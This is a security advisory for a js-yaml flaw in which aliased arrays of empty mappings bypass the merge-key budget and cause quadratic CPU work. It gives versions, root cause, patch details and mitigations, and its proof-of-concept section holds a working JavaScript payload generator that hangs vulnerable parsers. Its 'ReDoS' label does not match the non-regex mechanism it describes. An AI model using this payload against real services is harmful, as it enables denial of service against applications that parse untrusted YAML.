high · 7.5CVE-2026-84375Sep 8, 2026

CVE-2026-84375: js-yaml ReDoS via Empty Merge-Key Sources

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A flaw in js-yaml's merge-key guard lets attackers freeze a Node.js process with a small YAML file by repeatedly merging an aliased sequence of empty mappings, bypassing the maxTotalMergeKeys CPU…

Packagejs-yaml
Ecosystemnpm
Affected>= 4.0.0, < 4.3.2
Fixed in4.3.2
CVE-2026-84375: js-yaml ReDoS via Empty Merge-Key Sources

The problem

The maxTotalMergeKeys counter in js-yaml's loader only increments when a merge source contributes at least one key. An empty mapping ({}) contributes zero keys, so it never touches the counter.

An attacker can alias one array of N empty mappings and merge it into K targets. The loader iterates all N sources for every target, doing O(N * K) work while the guard never fires. Merge is on by default in v3 and v4, so any app that parses untrusted YAML is exposed.

Proof of concept

A working proof-of-concept for CVE-2026-84375 in js-yaml, with the exact payload below.

javascript
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

// ~500 KB document, loads in ~13 s on vulnerable versions
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)

The root cause is that mergeMappings() only called the budget counter once per *folded key*, never once per *source mapping*. An empty mapping folds zero keys, so iterating it costs real CPU but spends zero budget, defeating the guard introduced for GHSA-g796-fgmg-93mv.

The patch (commit d90b661) adds a chargeMergeWork() helper that increments totalMergeKeys at the very start of mergeMappings(), before inspecting sourceKeys. This charges one unit per source object, so a sequence of N empty mappings costs N units and hits the default limit of 10,000 long before the process hangs.

CWE-400 (Uncontrolled Resource Consumption) and CWE-407 (Inefficient Algorithmic Complexity) both apply: the quadratic work is unbounded and the intended safety control is bypassed.

The fix

Upgrade js-yaml to 4.3.2 (v4 line) or 3.15.2 (v3 line). If you cannot upgrade immediately, pass { maxTotalMergeKeys: 0 } to disable merge entirely, or avoid parsing untrusted YAML with merge-enabled schemas (YAML11_SCHEMA). v5 users should be on 5.4.1 or later.

Reported by spokodev.

References: [1][2][3][4][5][6]

Related research